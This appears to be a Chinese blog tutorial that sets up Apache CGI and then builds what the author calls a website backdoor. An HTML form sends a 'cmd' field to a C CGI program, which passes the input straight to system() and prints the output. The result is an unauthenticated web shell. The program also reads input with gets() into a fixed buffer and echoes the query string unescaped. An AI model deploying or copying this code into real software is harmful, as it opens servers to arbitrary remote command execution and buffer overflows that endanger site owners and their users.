c/c++----網站及其後門(CGI應用程序)
C/C++學習到這兒,結合自己曾經學過的javasweb知識,現在讓我們來看看,如何做一個CGI程序吧!
首先了解一下啥子叫CGI :CGI全稱是“公共網關接口”(Common Gateway Interface),HTTP服務器與你的或其它機器上的程序進行“交談”的一種工具,其程序須運行在網絡服務器上。 ----來自百度百科
1. 首先,我們需要 Apache server2.0(學習web,應該必須知道這個的,嘻嘻),安裝好該軟件之後,也許會出現很多的問題,導致打不開什麼的。喵了個咪的,博主本人曾經也是搞了老半天,不過最後,還是搞定了!
(1). 其實主要情況,我遇到就兩種,第一種,就是我們為了節約開機時間,將IIS關閉了,或者有些俠客直接將它卸載了! 所以導致打不開!
-----------------------面對這種問題,下一個就好了! Apache server2.0 需要 IIS 配合。
(2). 第二種就是80端口被占用了,這是最容易發生的情況沒有之一。 解決的方法有很多,但是個人比較喜歡這樣來搞。
cmd --》 net -ano --->查看那些占用了80端口(一般是浏覽器什麼的居多) 幾下他們的 PID ,然後在進程管理哪兒關閉就好了!
上面的Apache server 運行起來之後,就在浏覽器中 敲入 localhost ,會顯示一個
然後修改一個,http.cof文件
找到倆個位置:
第一個位置: # AddHandler cgi-script .cgi 將這個語句的前面#注釋符去掉
第二個位置:
<Directory "D:/Program Files/Apache Software Foundation/Apache2.2/cgi-bin">
AllowOverride None
Options None -----將這個位置替換為: Options Indexes ExecCGI
Order allow,deny
Allow from all
</Directory>
這兩個位置配置好之後。就可以用C/C++編程了!
第一步:我們編寫一個這樣的文件
1 #include<stdio.h>
2 int main(int args ,char * argv []) {
3
4 printf("Content-type:text/html\n\n");
5 printf("hello world ! 我是cgi ");
6 getchar();
7 return 0;
8 }
編譯,生成一個這樣的 hello.exe文件、生成之後,我們將hell.exe的屬性改為 hello.cgi
然後將其放置到,自己安裝的Apache server2.0文件中的cgi-bin文件下
在浏覽器中,再輸入,localhost/cgi-bin/hello.cgi 就可以看到這樣的畫面
2. 那麼說了這麼多,我們又該用c/c++寫一個cgi來做後台,在背後來操作這個數據呢!
首先,我們需要寫一個html,做個web的,對於這些當然,是再easy不過了! 為了節約時間,就寫一個簡陋點的html吧!!
諾,看!
1 <html>
2 <head>
3 <title>後台</title>
4 </head>
5
6 <body>
7 <h1> 後台界面</h1>
8 <form action="http://localhost/cgi-bin/gxjun.cgi" method="post" id=CGI >
9
10 請輸入命令cmd: <input type="text" name="textlist" /><br><br>
11 <input type="submit" /><br>
12 </form>
13 <hr>
14 <body>
15 </html>
當然,這個當我們在做web的時候,這個是可以內嵌到,我們的項目中的!在於你將這個jsp放到哪個地兒啦!
最後就是重點了! 就像我上面寫的cgi一樣! 寫一個下面這樣的代碼:
1 #define _CRT_SECURE_NO_WARNINGS
2 #include<stdio.h>
3 #include<stdlib.h>
4 //#include<stdexcept>
5 #include<windows.h>
6
7 //以調用System為舉例
8 void func(char ps []) {
9 // ps 為cmd命令
10 char *pl = strchr(ps,'='); //pl指向當前的位置
11 if(pl!=NULL) ps = ps + (pl-ps+1);
12 printf("命令cmd = %s\n", ps);
13 char cmd[256] = {'\0'};
14 char filename[] = "Gxjun.txt"; //暫定放置於當前目錄。
15 sprintf(cmd,"%s > %s ",ps,filename); //將ps的內容寫入cmd中
16 //生成了一條指令
17 //無論是否執行成功,都會生成一個Gxjun.txt文件
18 FILE *fp = NULL;
19 int tag=system(cmd);
20 if (tag == 1) {
21 printf("命令格式錯誤!,請重新輸入: ");
22 goto loop;
23 }
24 if ((fp = fopen(filename, "r")) == NULL) {
25 printf("沒有發現文件!");
26 goto loop ;
27 }
28
29 while (!feof(fp)) {
30 char str=fgetc(fp);
31 if (str == '\n') printf("<br><br>\n\n");
32 else if (str == ' ')printf(" ");
33 else
34 printf("%c",str);
35 }
36
37 loop:
38 if (fp != NULL){
39 fclose(fp);
40 //並刪除備份的文件
41 system("del Gxjun.txt");
42 }
43 return ;
44 }
45
46
47 int main(int args ,char * argv []) {
48
49 printf("Content-type:text/html\n\n");
50 //打印環境變量
51 printf(" %s<br><br>", getenv("QUERY_STRING"));
52 char szPost[256] = {'\0'};
53 gets(szPost); //獲取輸入
54 if ( strlen(szPost) < 1 )
55 strcpy( szPost , "ipconfig" );
56 func(szPost);
57 getchar();
58 return 0;
59 }